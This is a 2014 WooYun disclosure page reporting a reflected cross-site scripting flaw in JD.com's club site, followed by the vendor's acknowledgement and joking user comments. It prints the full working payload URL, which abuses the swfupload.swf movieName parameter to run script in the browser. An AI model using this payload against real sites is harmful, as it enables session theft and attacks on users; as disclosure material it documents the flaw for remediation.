京东商城某处xss跨站

WooYun: Flash应用安全系列[2]--Discuz! X2.5反射型跨站

原樣操作,很不恥的提交了。

http://club.jd.com/Static/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28/xss/%29}}//

注意歷史漏洞。

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-11-25 10:26

厂商回复：

感谢您对京东的关注！

最新状态：

暂无

1. 2014-11-20 11:17 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

   1

   奶茶妹遇见刘强东~楼下保持队形

   1# 回复此人

2. 2014-11-20 11:18 | 小r00to1 ( 普通白帽子 | Rank:183 漏洞数:59 )

   3

   http://www.naichabiao.com

   2# 回复此人

3. 2014-11-20 15:20 | 看什麼看 ( 路人 | Rank:16 漏洞数:4 | 知有飄零，畢竟飄零，便是飄零也感卿)

   2

   奶茶妹遇见刘强东~坐等忽略

   3# 回复此人

4. 2014-11-20 17:41 | noob ( 实习白帽子 | Rank:85 漏洞数:19 | 向各位大神学习，向各位大神致敬)

   2

   @小r00to1 为何这么屌... http://www.lipeicong.com/robots.txt Hacked by @Linsir. Frome GUET.blabla... 这是闹哪样。。。

   4# 回复此人